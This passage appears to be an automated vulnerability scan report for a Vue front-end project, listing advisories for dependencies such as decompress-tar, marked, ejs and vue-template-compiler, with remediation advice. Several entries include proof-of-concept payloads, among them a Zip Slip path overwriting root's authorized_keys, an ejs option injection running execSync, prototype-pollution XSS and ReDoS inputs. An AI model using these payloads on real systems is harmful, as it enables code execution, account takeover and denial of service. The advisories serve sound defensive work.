  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 download-git-repo@1.1.0 download@5.0.3 decompress@4.2.1 decompress-tarbz2@4.1.1 decompress-tar@4.1.1
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 download-git-repo@1.1.0 download@5.0.3 decompress@4.2.1 decompress-targz@4.1.1 decompress-tar@4.1.1

Overview

decompress-tar is a tar plugin for decompress.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is possible to bypass the security measures provided by decompress and conduct ZIP path traversal through symlinks.

PoC

const decompress = require('decompress');

decompress('slip.tar.gz', 'dist').then(files => {
    console.log('done!');
});

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

Remediation

There is no fixed version for decompress-tar.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: vue-template-compiler
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 @vuese/parser@2.10.3 vue-template-compiler@2.7.16

Overview

vue-template-compiler is a template compiler for Vue 2.0

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the manipulation of object properties such as Object.prototype.staticClass or Object.prototype.staticStyle. An attacker can execute arbitrary JavaScript code by altering the prototype chain of these properties.

Note: This vulnerability is not present in Vue 3.

PoC

<head>
  <script>
    window.Proxy = undefined // Not necessary, but helpfull in demonstrating breaking out into `window.alert`
    Object.prototype.staticClass = `alert("Polluted")`
  </script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>

<body>
  <div id="app"></div>
  <script>
    new window.Vue({
      template: `<div class="">Content</div>`,
    }).$mount('#app')
  </script>
</body>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chrome-launcher@0.13.4 rimraf@3.0.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 puppeteer-core@5.5.0 rimraf@3.0.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 globby@6.1.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 download-git-repo@1.1.0 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 majo@0.5.1 globby@6.1.0 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 marked@0.7.0

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The em regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 1.1.1 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: got
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 download-git-repo@1.1.0 download@5.0.3 got@6.7.1
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 update-notifier@2.5.0 latest-version@3.1.0 package-json@4.0.1 got@6.7.1

Overview

Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.

Remediation

Upgrade got to version 11.8.5, 12.1.0 or higher.

References

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 jstransformer-ejs@0.0.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: glob-parent
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 glob-parent@3.1.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 fast-glob@2.2.7 glob-parent@3.1.0

Overview

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

PoC by Yeting Li

var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}

return ret;
}

globParent(build_attack(5000));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade glob-parent to version 5.1.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 marked@0.7.0

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing unsanitized user input to inline.reflinkSearch, if it is not being parsed by a time-limited worker thread.

PoC

import * as marked from 'marked';

console.log(marked.parse(`[x]: x

\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 4.0.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 marked@0.7.0

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when unsanitized user input is passed to block.def.

PoC

import * as marked from "marked";
marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 4.0.10 or higher.

References

medium severity

Inefficient Regular Expression Complexity

  • Vulnerable module: micromatch
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 fast-glob@2.2.7 micromatch@3.1.10
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 micromatch@3.1.10

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 serve-handler@5.0.8 minimatch@3.0.4

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the braceExpand function in minimatch.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.5 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 jstransformer-ejs@0.0.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @vue/compiler-sfc
  • Introduced through: vue@2.7.16

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 vue@2.7.16 @vue/compiler-sfc@2.7.16
    Remediation: Upgrade to vue@3.0.0.

Overview

@vue/compiler-sfc is a @vue/compiler-sfc

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the parseHTML function in html-parser.ts. An attacker can cause the application to consume excessive resources by supplying a specially crafted input that triggers inefficient regular expression evaluation.

PoC

Within Vue 2 client-side application code, create a new Vue instance with a template string that includes a <script> node tag that has a different closing tag (in this case </textarea>).

new Vue({
  el: '#app',
  template: '
<div> 
   Hello, world!
   <script>${'<'.repeat(1000000)}</textarea>
</div>'
});

Set up an index.html file that loads the above JavaScript and then mount the newly created Vue instance with mount().

<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id="app">
    Loading..
  </div>
</body>
</html>

In a browser, visit your Vue application

http://localhost:3000

In the browser, observe how the ReDoS vulnerability is able to increase the amount of time it takes for the page to parse the template and mount your Vue application. This demonstrates the ReDoS vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

